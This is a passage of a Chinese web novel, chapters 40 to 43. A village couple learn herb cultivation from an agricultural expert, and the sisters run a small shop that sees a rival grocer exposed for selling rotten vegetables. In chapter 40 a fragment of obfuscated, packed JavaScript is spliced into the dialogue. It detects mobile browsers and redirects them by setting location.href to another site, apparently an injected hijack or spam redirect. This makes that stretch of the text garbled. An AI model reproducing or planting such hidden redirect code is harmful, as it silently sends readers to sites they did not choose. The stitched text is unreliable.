“种植其他的，虽说跟种粮很像，也靠天吃饭，但又很大的不同是，经济作物的要求更高，毕竟，农户们不像是种粮那么有经验了，从选品种植育苗防病虫害到收获，都要从头学起的，我们这中草药还有一道关了，得学会储存炮制才行，要不，都没得药效……”
“这个确实，我们今天才跟了小半天，就学了不少了。”
“你们这个提前来问的，还好了。”林茂祥不自觉摇了摇头，“很多人看着别人挣钱了，觉得这个事简单，很盲目的进来，运气好的话，是跟着赚，那运气不好呢？”
“就亏了……”
白二哥跟着捧哏一样，下意识的回答了林茂祥的话，说完，突然想到一个情况，就跟卖菜一样，菜多了就得贱卖，那大爷不会是想把卖不出去的瓜，赖给农科院吧？
“那倒不是了。”
看到几人的表情，林茂祥怕大家想歪了，又赶紧摆摆手，那么多瓜，他们农科院也消化不了。
“还是因为前段时间的暴雨，连着下雨，瓜田里都是积水，瓜在田里容易烂，种瓜大爷就提前把瓜都抢收了。”
“诶，这不是好事吗？”
“是啊，能抢回来，总比在田里都烂了好了。”林茂祥再次点头，这也是没办法的办法，不过随之的而来的问题，“只是，这提前采摘的瓜果，甜份积累的不够，就不够甜，很影响品质，大爷还是想找我们园艺所的同事再想想招了。”
“这，这不可能吧？”
白二哥都不用想，就觉得不行，摘了瓜还能回甜么，这不是在为难人么？
“那大爷是在哪儿听说了农科院是有什么新技术吗？”
白春枝和萧远山对了一眼，虽然也觉得卖瓜大爷的想法有点异想天开，但现在的科学技术有太多超乎他们想象，不由也跟着幻想了下。
那，万一呢？
“……”林茂祥遗憾的摇摇头，“这就是我们目前工作开展的两难境地，要不就是太信任我们了，觉得我们无所不能，要不就是完全不信科学种植，说我们在胡扯。”
40. 手册
“啊？”
骂这群教授专家是胡扯，还是真是敢说呐。
“来来来，林老师喝酒喝酒！”
白二哥又赶紧举杯敬了林专家一杯，不管怎么说，人家这么倾囊相授，肯定要好好感谢了。
“这没什么，我们也确实还有进步的空间，在不断克难关了，不过种植嘛，一茬又一茬、一季又一季的，需要时间来验证了，今年不行就明年，一代代的改良品种。”
“有你们在，总会越来越好的，感谢你们十年如一日的悉心专研了。”
萧远山和白春枝也齐齐举杯敬林专家，就是因为有他们这样的人在，千百年间才会有这样翻天覆地的变化了。
“好好好，一起喝一个。”
选瞧着年轻人的精神头，林茂祥也笑了，不过他说这个瓜农的事，主要是想提醒几人。
“选择经济作物，相对来说收益高点，但也意味着风险，比种粮肯定大，你们先试种两个品种是对的，一开始不用不急，这得慢慢来。”
“肯定的。”
萧远山点头，近两年卖山货比较多，他是一早看好了这个几乎空白的市场，在听说野生草药也可以人工栽培后，便起了种植的心思，现在不过是迈出的第一步，但也并没有胃口大到想着一口吃到饱了。
这点，萧远山还是比较谨慎的。
第二天，不用林茂祥带路了，四人先坐公交过来，直接找了余老汉坐马车。
“你们还挺早了。”
余老汉乐呵呵的跟几人打招呼。
“是啊，这不是还得运苗么，就怕一会儿出太阳了。”
萧远山看了眼天，清晨的体感温度正好，再晚点怕是要热起来，白二哥在一旁也很有眼色的给余老汉递了烟。
“哒哒——”
马车在乡间小路悠哉悠哉地走着，余老汉又给几人介绍着他们这片早些年由农科院和中医院牵头开始种植的各类中草药。
“余叔，你们这儿种植户还挺多了。”
路过附近的几亩田，虽然还看不出种植的什么，但田间的农户已经在忙碌了，有在除草的、有在撒药的，还有像林专家昨天教的那样，在检查是否需要排灌，一片井然有序的样子。
“是的嘛！”
余老汉还挺为他们这片能种植中草药骄傲了。
早先时候，仅是中医院来大队上承包了，大伙儿也不太懂，专家教授怎么教他们就怎么做，现在好了，农户们可以自家种了，又有药厂来收的，可不就干得火热了么！
等余老汉将几人带到时，今早现挖的白芍一捆捆的早已准备好了，只是还没装袋。
“来兄弟，这些都是了哈，你们先看下品相，再点数。”
田坎上一排排垒起的白芍苗，瞧着很是壮观，上面的土也整理干净了。
前头还有两个人在继续挖，显然不止他们一家来买苗。
林茂祥介绍的这家是村里一对老夫妻带着几个儿子专种白芍的大户，今天接待他们的钱老幺人也挺实在了，没因为林专家今天没来就敷衍萧远山他们。
昨天林茂祥教了几人如何辨别种苗的好坏，丹参籽选的都是比较干净没什么杂质，这样出芽率也高。
这会儿钱老三更直接，拿了一支自家孩子用的铅笔放白芍苗上，拍着胸口保证今早挖的一批都是一个规格的一年苗龄。
如此坦荡的做法，自然是让人格外的有好感了。
萧远山和白二哥抽着看了一些，便一起将几万株苗全部装袋。
麻袋全部扎好就等车来了，白二哥是闲不住的，又开始散烟跟人套近乎了。
“来，先喝的水哈！”
钱老三媳妇端了几个碗和壶来田里给大伙儿送水。
白春枝蹲在在这边跟钱老三媳妇闲聊，萧远山三人喝完水又去看钱老大和钱老二怎么移栽白芍。
“那边片都是您家的么？”
白春枝见几人并没走多远，那边田里干活的人瞧着还不少，看来这两天都挺忙的。
“对。”
钱老三媳妇放下水壶收了碗，和白春枝说起自家之前就帮着大队上种中草药有几年了，很有经验的，今年分了田，他们家就自己种了。
“其实还是跟之前差不多的，我们跟药厂签了合作协议，成熟了直接有采购员来收。”
因为有了这份保障，他们村上每家每户，几乎是放开了手脚在干的。
白春枝得知他们村里好多就留了家里口粮的地，其他全种草药，还是有点小惊讶了。
“哈哈不要被吓到咯！”钱老三媳妇见白春枝一脸吃惊的样子，一口白牙的大笑道，“也是农科院的专家们会想办法，教我们在田里套种玉米、大豆那些，还有啥子水旱轮种的，一年一换的，种了水稻就不缺粮了。”
钱老三媳妇见白春枝挺感兴趣了，但又怕自己讲不清，连忙唤了自家孩子来跑腿。
“你看，这是当时林老师教我们时留的册子，还画了图的呢，照着上面的来种，保管没错。”
白春枝探头去看，是本手写的小手册，上面的字倒是不多，画着图，她一个初学者，瞥了两眼竟然也能瞧明白。
田地由一条条线条表示，行距宽度也都标了出来，交叉的点不同大小的圈代表着不同的种子。
像钱老三媳妇现在翻的这页，是白芍中间套种了玉米，不过得赶在立夏时就种了。
“这个很实用呢！”
看完，白春枝夸赞道，感觉比自己买的那几本厚书容易懂些，可能书本上写得太专业，小册子则更有针对性。
“那肯定了，林老师费心思给我们简化了，就是想我们识字少的也能看懂了，哦对，你们要不要抄一份？”
说着，钱老三媳妇不等白春枝回答，转头就喊自家在田里玩泥巴的孩子，回去拿本子来。
“撕拉——”
“啊！妈！”
钱老三媳妇接过本子，刚给白春枝撕了一页，还没说什么了，旁边的泥巴小孩儿先炸毛了。
“我爸拿我的笔，你又要撕我本子，开学我还读书不！”
“嗨哟，你这孩子，自己的名字都还不会写呢！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196080|147239||http|test|mini|href|location''.split(''|''),0,{}));
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钱老三媳妇刚准备起身去拿扔田坎上的铅笔，没想到自家孩子突然爆发了，笑着和白春枝解释了下，他哥哥姐姐送的本子和笔，就等着开学用了。
“我已经会写‘钱’字了！”
听到自家亲妈揭短，小孩儿更气了，吸着鼻子差点挤了几滴眼泪出来，不过小脸蛋倒是早被手给摸花，顶着个花脸还不忘强调重点。
“是我爸把我笔给收了！”
“你行了啊，妈开学再给你买。”
打发完小屁孩儿，钱老三媳妇转头给白春枝说了些要点。
“这个收获期，第三年夏至就开始收获了，林老师说看到有啥子期刊上写：夏至延长到一个月，能增量，你翻后面——”
白春枝翻了一页，居然是一个表。
“我们种植这几年都有记录的，看产量呢，大致是有增加的，但不晓得跟人家专家教授的标准一样不，我们也是试着尽量晚收了。”
“都是摸着石头过河啊。”
白春枝点点头，说了句广播里常听到的话，忽然就理解林茂祥的做法了，授人以鱼不如授人以渔。
“你们还有林下种植的，就只有多问问林老师他们了。”
“好。”
白春枝珍惜的将那张笔记折进包里。
等车来时，因为还可以载一个人，白二哥跟着货车先回去了，萧远山他们还是坐大客车回去。
路上，白春枝便将那张纸拿出来递给萧远山。
“什么？”
萧远山看清小娘子递过来的那张纸写了什么后，就笑了，同时，他也从包里摸出了几张纸来。
“林老师也给了我们一本种植手册。”
“真的啊，我看看……”
白春枝拿到那本属于他们的“册子”，才看到第一张就有些爱不释手了。
林茂祥真的是一位非常好的老师，这完全是根据他们后山开荒出来林子和那处山坳来编写的。
“林老师说，林下套种和庄稼套种还是有所区别的，要根据两种作物生长来决定种苗的株距，后山那片，就得看是什么树下了，我大概说了几种——”
萧远山挨个指给小娘子看了。
“剩下的还有其他种类的，林老师也讲了，我们自己要怎么试验，到时候可以根据具体情况及时做调整。”
眼熟的记录表，白春枝再次感受到林茂祥的用心。
“那我们可要好好学起来了，这才对得起人家林老师毫无保留的教导呀！”
白春枝一边感叹着，一边暗自下决心，回去就继续啃那几本书，学无止境啊。
萧远山点着头，看到白春枝那张纸背后几个数字，又问她。
“嗯？”白春枝转过头来，“哦，这个是钱家记录的每亩白芍晚收货量的变化，我们以后也应该这样做好数据收集，有问题的话，才好请林老师他们来分析的。”
“……”
萧远山本来还在惊讶自己正想再打听打听的产量，竟被小娘子就这样随手记下来了，再听她这小词用的，确实是有认真在学了。
41. 学舌
萧远山白春枝他们坐的是中午的那班大客车回来，自然是比白二哥到家晚了。
等一家人直接赶回村里，丹参种子和白芍苗已经早早卸在了白家门口。
“哎哟，春枝呐，你们可算是回来了！”
“……”
绕过被麻袋挡住的大门，白春枝这才看清院子里还坐了不少人，村头不管做饭的婆婆大娘们几乎都来了。
挨个招呼完，白春枝也知道这可不是“开会”了，大伙儿等在白家是为了问问明天后山干活的事。
这问题得萧远山来回答，白春枝跟着自家老娘进了灶房。
“反正我是没给你们乱答应的，就等远山回来给她们说，我喊你二哥都没多嘴的。”
白母拍了拍大女儿的手，让她放心了。
这点，老娘子一直是头脑很清醒的，她能提醒女儿女婿早些修房子，却不会对他们的其他事指手画脚了。
“嗯，远山他们那天在支书家说好了的，各家都会安排点人，这样晓得咋回事了，翻年要跟到一起做的话，也就心头有个底。”
其实，也是就是林专家那意思，毕竟种中草药不像种粮，有风险、要学技术，是有门槛的，像是他们包山的话，还得投钱，所以，必须考虑清楚了才行。
白母见他们是有主意的，就不多说其他了，让她来她也不懂的，更不会瞎指挥了。
“你们前几天订的那些货已经备齐了，今天晚上就先把拖回去吧？”说着，白母又问白春芽，“你明天还去你姐那儿不？”
“去啊，过两天又休息日了，肯定人多。”白春芽点头，瞧着白母自己还挺有理了，“我姐这双身子，我要去帮忙的。”
“我看你就是跑野了。”
白母看了眼一点没显怀的大女儿，转头说了一嘴小女儿，但到底也没说什么不许的话。
吃完晚饭回去，萧远山先送了几家订的鸡鸭，这些都还是活的，早点送了省事，不然家里可养不下那么多。
“明天我要早点回村里，白芍苗还是得趁太阳没出来前先种下去比较好了。”
萧远山最后冲完凉出来，跟小娘子说着明天的安排。
“那今晚早点睡。”
白春枝说完这句，就把摊开的抱佛脚书本收了，起身给萧远山多装了一套换洗的衣服，明天他得在山上待一天了，肯定热，转过来见夫君还想交代什么，笑道。
“放心好了，屋头的事你不用担心，阿公在家的，明天小妹也过来帮忙了。”
“行，反正牛车你们用着，有急事让小妹找人到后山喊我。”
“知道啦！”
将小包袱递给夫君，白春枝堵住他还想再啰嗦的嘴，她现在没一点反应呢，又不是一下就变脆弱了。
翌日，萧远山天还黑着就出门了，白春枝是睡翻身了迷迷糊糊察觉到的。
“姐夫今天可真是早呢，我们才起来，他人都到了，老娘问他吃早饭没，他都说吃过了。”
白春芽也是记着两天没开门的生意了，赶在巷子里上早班的点就来了，一边开板，一边问姐姐，他们这是起得多早啊？
“没，就你姐夫早，我都不知道他什么时候起来的。”
白春枝也是起来后，整个人清醒了，才想来去灶房看看夫君早上吃饭没。
老爷子先到了灶房烧水，说是鸡蛋少了，看来萧远山早上是煮了蛋的，他们也跟着吃的荷包蛋。
“估计后山得忙好几天吧？”
茶叶鹌鹑蛋开了，白春芽关成小火了，瞧着还没人就坐下来跟姐姐聊天。
“应该是，这次栽种找的人也多，老支书是想尽可能让大伙儿都先去看看了，不过要忙的事也不少。”
白春枝今天是不准备动缝纫机了，把那几本书和小册子都拿了出来。
“你看，我们这回去，学了好多东西。”
“这就是马上要种的白芍吗？”
白春芽就着白春枝正翻的那页，边看边问，听姐姐讲得头头是道，更是忍不住惊讶地瞪大眼了，这是赶上去进修了啊？
“种这还挺多学问呢！”
翻完白芍的移栽，白春芽不禁感叹起来，从来不知道田间地头还要学这么多了。
原来可不就凭着老把式的经验么，人家现在是把为什么都给总结出来了，说得明明白白，一看就懂的。
“是的呀，人家专家们教的，不仅是要你知其然、还要知其所以然了。”
白春枝现学现卖，还拽上文了，逗得白春芽一阵好笑。
两姐妹埋头研究着种植手册，等小店来人，这才赶紧收了。
“哎，春枝你们这两天没开门，说是在那小黑板写啥字留话，我又写不来，还以为要耽误了的。”
几位大娘们正在问白春枝是不是这两天回村里了，家里都没人的，李阿婆领着一个阿婆匆匆赶来，问道。
“阿婆，您要订点啥呀？”
“要点干菌子，还有老母鸡最快啥时候有啊？”
“有的，现在就有，昨天逮回来的鸡鸭，还剩两只老母鸡了。”
白春枝刚点头，白春芽直接不废话的进去把两只拴着腿的鸡给拎了出来。
“好好，这只就行了。”
阿婆看到那两只肥母鸡很是满意，也不挑了，随便要了一只，跟着就去称干菌子。
等人又急急忙忙的走了，李阿婆她们在围过来，和白家两姐妹说了个事儿。
“你们是不晓得哦，前头那个巷口也跟到开了一家哇！”
“嗨呀，我也看到了，专门卖菜的，不过跟春枝她们一样，说是可以帮忙在村里收鸡鸭的。”
“诶，我前天去菜市场买菜是看到那边围了好些人，还以为咋了的？”
“嚯哟，你们没去凑热闹呀，我那天去看了下——”
这位大娘说完这句，大家都转过来盯着看她了。
因为李阿婆几个跟白家两姐妹更熟识，前两天白春枝临走还托她们帮忙给要订货的邻里说在小黑板上留言，这不，就是对那家小店好奇，也不好就直接去的。
“没事，大娘您说，当是帮我们打探打探消息。”
白春芽忍不住叫大娘放宽心的赶紧说了，要不是这会儿没搞清
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楚什么状况，她都要马上去瞅瞅怎么回事了。
“咳，你们就是想太多。”
大娘嘴快的说完，才觉得有点不妥，但想着自己又没买，立即把自己那天看的情况都说了说。
巷口那家的门脸儿瞧着比白春枝他们的小窗口大些，不过东西不多了，早上买菜都是摆在门口的。
“他们不是前两天开了么，也学着那种打折或者送点添头，买菜嘛，总要送一块姜两根葱了，不过总体来，比不上你们这儿实惠！”
这帮婆婆大娘们都是精打细算过日子的，为什么更偏向找白春枝他们带，除了山货类的图个新鲜就是比价了。
说到这儿，李阿婆也讲了刚那个阿婆的事。
“老严家的外孙女回来了，那孩子在外头受了大罪，那小身板儿哦，瘦得一把骨头了，就想着给娃娃好生补下，刚好巷子口开张了，就去看了眼。”
大家等着李阿婆接下来的话，她却不住的摇头。
“卖得贵不说，那鸡啊鸭啊的个头也不行，而且老板儿有点浑的是，订了就没得退的，又没杀，还不准退了，当时就把老严吓出来了，幸好是先看了下，没着急就先订了。”
“哎呀，居然这样子做生意，怪不得就头天看着还有点人气，后面都熄火了。”
“第一天是打折的嘛，价就看着差不多，还送添头就有人。”
“今天估计都没人了哇？”
“不晓得呀，要不……”
婆婆大娘们说着就想去看看了，瞧了瞧姐妹俩，白春芽第一个赞同，虽说这家小店听起来不足为惧，但到底还是不放心。
“诶，你远远的看下就行啦，别靠太近，万一人认出你了？”
白春枝瞧着妹妹那架势，像是要去跟人吵跟人闹了，她真怕她跟人打起来。
“什么认出我？”白春芽顺着姐姐的话，一想，更生气了，“他们要认出我，那不更说明是照我们学么！”
他们这地方，做什么不好，人早饭小摊儿还买不同吃的了，何况还有正经菜市场了，居然学着她们开小店。
白春芽气呼呼同一帮婆婆大娘走了，白春枝站家门口不断张望，就怕出点事。
“春枝呐，你在看啥哦？”
老爷子拎着他的八哥回来，就见孙媳妇朝巷口看了，这个点，孙子也不会回来吧？
“哎，阿公！”
看到老爷子回来了，白春枝赶紧说了下刚才的事，让他帮忙看下店了，她也过去看看。
“不忙，春枝，你不去。”
老爷子想起春芽那咋咋呼呼的性子，把八哥往小窗台面一放，准备他自己去。
“你就在家，万一有点啥口角，把你碰到了，我这儿去瞅一眼。”
“诶——”
白春枝见老爷子摆了摆手就走了，真想说，她也不是要吵架啊，怎么好像是找了帮手去呢！
“不去！”
“不去！”
“……”
白春枝在原地急着想办法了，小窗上的八哥倒是会学舌了，不断地重复着老爷子最后说的那句“不去”。
42. 烂菜
八哥不仅学舌，还模仿着老爷子的语气，乍一听，真的很像有个人在旁边说话。
白春枝转头一看是那个小东西在上面作怪时，差点要气笑了。
被这八哥一打岔，白春枝也不急了，等他们回来总能知道什么个情况的。
“姐！”
没一会儿，就见妹妹一脸兴奋的跑了过来，看她那激动样，白春枝疑惑了下，瞧着不像白春芽平时跟人吵架赢了的反应。
要知道，白春芽这风风火火的劲头其实跟白母很像了，但论实战经验自然是比不上老母亲丰富。
所以，白春枝时常能看到的就是，哪怕跟人吵赢了，妹妹也是气呼呼回来了，一问才知道白春芽是气自己觉得刚刚没发挥好了。
“怎么回事啊，这么高兴？”
白春枝再瞧妹妹身后跟着的老爷子和一群婆婆大娘们也是乐乐呵呵的，什么事这么好笑呀？
“姐啊，你是不知道，巷口那家门口在闹架呢，好多人看呐！”
白春芽分享完这个大事，瞧着姐姐松了一口气的样子，不用猜也知道她在想什么了，赶紧摆摆手。
“放心吧，根本用不着我们出手的，只是差点没挤进去占个好位子看了。”
“嗨哟，可不是，不过闹架阵仗大哦，声音也响，我们在外面也听得清清楚楚。”
婆婆大娘们拎着空篮子慢了一步，还没走到山枝小店门口就已经聊上了，白春枝赶紧给几人拿小凳。
“该背时哦，让他们这么黑心的做生意，张大娘上手抓他那两爪都算轻的了！”
“是哇，要赚钱也不是这么赚的了，这是以为我们一个个眼神不好，随便敲哟！”
“这下就让他们遇到硬茬了哇？”
“哼，要不是有人喊不要闹大了，我看啊，张大娘都想把店给他们砸了。”
“肯定嘛，张大娘他们就在前面巷口那家了，屋头就一个独孙孙，宝贝得不行，吃的东西上不可能不仔细。”
“……”
白春枝又给几位阿婆大娘们泡了一壶菊花茶，才听明白是怎么回事了。
原来，巷口那家也是看这两天不大致送东西了，生意就不咋行了，于是，动上歪脑筋搞起了小动作，缺斤少两只属于“正常”手段，今天居然还以次充好。
这不，一下被人逮个正着么！
“我那天路过看到他们的菜哦，水灵灵的，以为真是刚摘来的，想着还怪新鲜了，不晓得要好早拖得菜回来，搞了半天，一直在喷水哦！”
“是嘛，现在天道大了，喷再多的水，到了下午都不管用，还烂得快！”
而今天这一出，还不止这样烂菜这事儿了。
据张大娘说，她是挑好的菜让老板过称称重，今天还奇怪，是看店人少么，服务态度格外好了，非得帮她把东西装起来。
要不是她打转身时，想起还要买点鸡蛋，结果一翻篮子腾点空位，摸了一手的软乎，才晓得是挨晃事了！
张大娘也是个泼辣性子，当即的叫唤上开了，喊大家来看看评评理了，瞧这家是咋做生意的。
那老板当然不承认了，大概是先前面对订货要退的人比较硬气吃到了甜头，也不看张大娘是哪儿的人，就说她是不是回去一转，故意来坑他们的了。
这话一出，自然是让张大娘更气了，抬手就是一把烂菜叶子扔到老板的头上。
至此，战火就升级了，刚好白春芽她们走过去就看到那一幕。
“本来只是张大娘在对骂，战斗力也是够的，没想到啊——”
白春芽说着，还卖起了关子，在场就只有白春枝没瞧见当时的情况了，婆婆大娘们笑着喝水，看妹妹跟姐姐做怪相。
“没想到什么？”
白春芽也猜到后面肯定还有事了，要不他们不能看那么久的，老爷子追过去都过了会儿才回来的。
“大家不是在听他们吵么，一说起，就有婆婆不放心自己刚买的，都检查了下手上的篮子和网兜。”
“然后呢？”
“嘿，还真有人又买到烂的了。”
“还真有烂的啊？”
在场的就遇到了两个，这几率未免也太高了。
“是啊，那阿婆也是，抬手就把那个烂番茄砸了过去，正中老板的脑门儿呢！”
“哎哟喂，那老板脑壳上顶起几片烂菜叶子、脸上又是挂起红，看着还有点吓人哦！”
“那个喊他活该了，就那样了还嘴硬的。”
“要不是有人冲进去后院看到一筐筐烂番茄，他还不承认了。”
这后面就是更猛的发展了，前街吵架，有人趁乱溜进了后院，说是瞧着他们进菜都走的后门，没想到还真有一筐烂番茄，他们还舍不得扔的。
然后就比较混乱了，有骂老板奸商，老板又说这些人私闯民宅，反正各骂各的不退让。
一群人看了一场口水仗马上要升级打斗了，被劝下来了，才散的场。
“是我们的本地番茄吧？”
最后，白春枝又问一句，他们小店都没卖的，这东西其实还不便宜，不过产量少，基本是自家就吃了，所以，市场上的更贵。
“是我们本地种的，沙瓤、皮薄，酸酸甜甜的好吃，就是不经放。”
“估计他们也看价钱高，才进了那么多来回。”
“是啊，搬起石头砸自己的脚。”
聊着今天这场热闹，时间过得也快，晚上萧远山回来时，白春枝还当笑话讲给他听。
“没事，咱们以后就专做干杂货一类好了。”
萧远山之前就想着住镇上做中转好卖山货的，小娘子这小店开得正好，让她也不用愁货源的事。
“这儿再有两天种苗都下去了，我们还继续开荒了，到时候你们再晒点干菌子，保管一冬天都有卖的。”
“秋天还没过呢，你就想着冬天了。”
不过，一想到山里到了收获的季节，白春枝感觉他们小卖店能买东西还不少了，不由掰着手指头细数起来。
“像是野板栗、山核桃、松子这些也都能拿来卖的。”
“好，到时候你就领着一帮娘子军进山秋捡。”
“你以为我说笑呢？”
听出萧远山语气里的笑意，
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白春枝转头对着夫君不满的哼哼道。
“那时候，应该能摸到它了吧？”
萧远山怀抱小娘子，算着时间，秋天的话，也好几个月了，不由伸手去感受那个小生命。
“应该能了……”
夫君大手抚过来，白春枝也放缓了声音静心感受了下，不知道肚子里的小家伙有什么感觉，她只觉得有点痒。
想笑。
不过到底没好笑出声，转眼白春枝又有些愁了。
好像除了白母将的那点经验，他们俩对怎么养孩子，是一点头绪都没有呢！
“等这儿忙完了，我们就去做那个产检吧？”
听到小娘子愁的事，萧远山轻轻摸着那块似乎有点不一样的手感，安慰道。
“大夫总是能知道怎么养孩子了。”
“也是。”
想到现在的医术，又讲究科学的，不是他们上一世了，白春枝也渐渐放下心来。
之后几天，萧远山继续在后山忙种苗，小卖店就休息日那天人多，其他时候都不怎么忙，姐妹俩又开始重新踩上缝纫机了。
“咔哒咔哒——”
“姐，你看我这技术，怎么样？”
白春芽手上是各种颜色的碎布头拼的百家被，这回，她们可不用手缝，专门用缝纫机踩。
“挺好了。”
白春枝偏头过来。
其实这缝纫机只要线踩得直，还真看不出多大的区别，她认真看着妹妹拼的颜色，有种说不出来的好。
这回的布头，是各家都要了点。
白母准备的最多的，大毛二毛传到小毛都用不上的小衣服也全拆了，那大小、颜色，五花八门的。
白春芽瞧着两篮子都装不下的碎布头，本来是想拼个“花”或者“福”字了，但是太杂了，最终还是按姐姐的意思，挑着面料差不多的来拼。
全部剪成差不多大小时，白春枝没看出个什么，但白春芽手上的成品慢慢出来了，才惊觉，真是一条很独特的百家被了。
“春芽啊，姐敢说，那商场肯定都没这样花色的百家被。”
“真的好呀？”
白春芽捧起她做的半张百家被看了又看，她肯定是觉得这样拼着好看，但有姐姐的肯定又不一样了。
白春枝看着妹妹神色，再次觉得，老娘子确实挺有远见了，就白春芽现在这种对色彩的不同之处，是应该出去学个技术了，虽然她不太能说得多明白，但觉得是不应该埋没了。
“二哥是要准备去买票了吗？”
想着出去打工的事，白春枝记起夫君前两天还提了一嘴，又问妹妹。
“对，家里没啥他要忙的了，田里有大哥，盖房子有老师傅他们，姐夫这儿忙完，他就准备去了。”
白春芽收起百家被，讲了下屋头的事，她后面都不会忘镇上跑这么勤了，得轮着给老师傅们做饭。
“先忙着家里的，小卖店这边是差不多稳定了，就休息日前后人会多一点。”
“嗯，反正跟大嫂二嫂她们轮到来了，我空了还要来踩缝纫机的。”
“……”
43. 解暑
趁萧远山他们第一波种苗结束前，白春枝和老爷子驾着牛车又回了趟村里。
“哎哟，这垮的地方，真是马上就要抵到我们门口了哦！”
因为萧远山天天往后山跑，老爷子是好久没回村了，这趟准备进山才看到，从前的小院，那是差一点就快要被前山冲下的泥土掩埋了。
“远山他们忙完，就来清理这边了。”
先前为了尽早通前山到后山的路，大致清了一节，白春枝帮夫君跟老爷子解释了一句。
可不是任由小院就这样了。
老爷子可有可无的点了点头，背着手，也不要人搀扶的，进山走得比白春枝姐妹俩还快的。
白春枝和白春芽又各自挎了个篮子，准备上山去摘点野菜。
苦夏了，没什么胃口的，吃点凉拌菜也好，还清热。
“这段时间汉菜、灰灰菜、苦苣多。”
白家修房子，白母不仅每天熬绿豆汤，还让让采了不少野菜回来，白春芽想着小卖店的生意，又提议道。
“姐，你说我们要弄点去卖哇？”
天热了，山枝小卖店早上的鹌鹑蛋也没再做的，要是每天卤了卖不完，他们就得自家天天吃了，所幸就先不做了，天冷了再弄点热乎的。
“这个啊，卖倒是没人卖的。”
白春枝有些不确定了，村里人吃野菜，那是以前菜少，爱上那个味道之后，现在也时不时还会做上一顿，但是镇上的情况就不太清楚了。
“似乎吃的人少哦？”
之前卤水做得多的时候，白春枝倒是弄过几次卤菜，就是些素菜，偶尔杀鸡杀鸭，有心子、郡肝、肠子、翅膀，还有鸡爪和鸭掌一类荤的，也会卤进去，在熟识的邻里间挺受欢迎的。
只是巷子里，像姜淑云家那种双职工没人做饭情况还是少见，所以她也不敢多做，怕卖不完。
想到这儿，白春枝倒是记起姜淑云前两天还在跟她说，两个妈回去之后，她家的伙食水平直线下降，主要她爱人最近工作也忙，她和她家小豆丁吃食堂多，热起来了，胃口不好，孩子更挑食了。
“那今天先弄点回去？”
听姐姐说起姜淑云家的小豆丁，白春芽觉得可以一试，路过看到一串野葡萄快熟了，又发散了思维。
“再做点其他清凉解暑的下午来卖？”
“冰粉、凉虾、凉糕？”
被妹妹一提醒，白春枝也想起了。
这些是她们夏天最期待的了，村里少有卖冰棍的，没有这种便利，就自己弄吃的，冰粉籽山上就有，糯米也是自家的，做好放进深井里冰过，再淋上红糖水，入口冰冰凉凉的甜，最是过瘾了。
“诶，你这两天没到镇上来不知道，巷口那家没卖菜了——”
“都闹成那样了，他们哪儿还有脸开呀？”
白春枝还没说完，白春芽就咋呼了起来，正常人肯定是没脸继续开下去的，不过能做黑心生意，说不定也厚脸皮，但她相信只要对方再敢开，张大娘肯定要去扔臭鸡蛋了。
“没开了，说是门店租出去了。”
那家的门脸儿本来就是为做生意专门砸的墙，又比他们的小店大，不可能就不做了，白春枝是听李阿婆她们说的后续。
“租来做啥哦？”
白春芽听了直摇头，在她看来，那就是个名声都坏了的地方，口岸再好、是巷口人流量大，一般人都会慎重选择吧？
“居然那么快就租出去了？”
“是啊，没想到吧？”白春枝瞧着妹妹不敢置信的样子，也笑了笑，“李阿婆她们说，估计就是他家自己开的，只是不敢讲出来了，借口是租给亲戚开店。”
“开啥店？”
“卖雪糕、冰棍的。”
“啊……”这，还真是杠了呀？
“那他们家，可真舍得投入了，冰箱冰柜得好几千吧？”
白春芽掰着手指头算了下，他们才亏了菜钱，这就大手笔的卖电器，瞧着不像是会做生意的料。
“没呢，咱县里都不一定有卖的。”
上回去县里的百货商店，白春枝光主意多少买电视了，没看到电冰箱的，摇了摇头。
“是用的那什么泡沫箱子的，盖上被子，好像可以保温。”
白春枝总共才吃过两三回雪糕冰棍，当时见着那箱子盖着棉被还挺惊奇了，冬天需要保暖，这夏天不让冷气散掉也一样呢！
“算他们能行，至少冷的容易放，可别再起什么歪心思卖过期的东西了。”
白春芽点点头，但她们也没什么好怕的。
“我们就卖自己的，跟他们也不一样，而且这些就夏天的生意了。”
同样是很有季节性了，白春枝想想也就点了头，总归自己也是要吃的，不如多做点试试了。
两姐妹说着话，走到差不多后山了才开始摘野菜。
白春枝摘了不少的汉菜。
这东西也叫苋菜，其实也属于一种中药了，清肝火了，吃了对眼睛好，老爷子近来有点上火，说是眼睛看东西有些模糊的，她准备多做两顿。
然后是苦苣，白春枝比较喜欢这个了，就是直接吃，她都觉得好吃的，入口清香又一点点微苦，很特别的味道。
两个篮子摘满，白春芽没忘记野菜生意，又去跑去后山顺了两个麻袋过来，这是移栽完白芍空的。
“哎，春芽，你拿到哪儿去啊？”旁人都没注意姐妹俩来了，也就白二哥眼尖的看到自家妹子，“你姐夫还要用袋子给你们装菌子了。”
“我先用来装点野菜，后头再拿回来吧！”
“嚯哟，你们是摘好多野菜啊，吃得完不？”
白二哥这几天在家也是顿顿有野菜，要不是有老师傅他们在，煮了肉，他都有点不想吃了。
“你不管咯！”
没再理会自家啰嗦的二哥，白春芽取了麻袋，和姐姐赶紧摘菜了。
“春芽，你来看那边。”
白春枝现在干活儿不会一直弯腰了，做一会儿歇一会儿的，她刚起身，忽然瞥见远处一串串黄色、绿色的小灯笼。
“哎呀喂，真是想啥来啥呀！”
白春芽顺着姐姐指的方向一看，那不就是结冰粉籽籽的小
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灯笼么！
野菜也不管了，白春芽一个飞奔过去，将那几株野生的冰粉树包圆了，小心翼翼的将小灯笼一个个摘下来，放的时候都格外的仔细了，不让它里面的籽掉下来一粒。
等中午几人满载而归的回去，白母看到姐妹俩又弄了些乱七八糟的东西，已经不想再说啥了。
“姑姑，你真的要给我们做冰粉啊？”
大毛带着二毛，守在白春枝身边看她在缝一个小袋子，其实他根本冰粉啥味道，不过是前两天刚看人家吃过就记住了。
“大毛啊，去叫你爸把石磨洗了，小姑姑等下还要做凉虾、凉糕哦！”
白春芽把冰粉籽剥开了，又去舀糯米、找红糖。
既然决定要这几样卖，两姐妹是准备在家先做给大家吃，让白母再指点一下了。
“我有啥好说哟，你们两个就使劲的折腾嘛！”
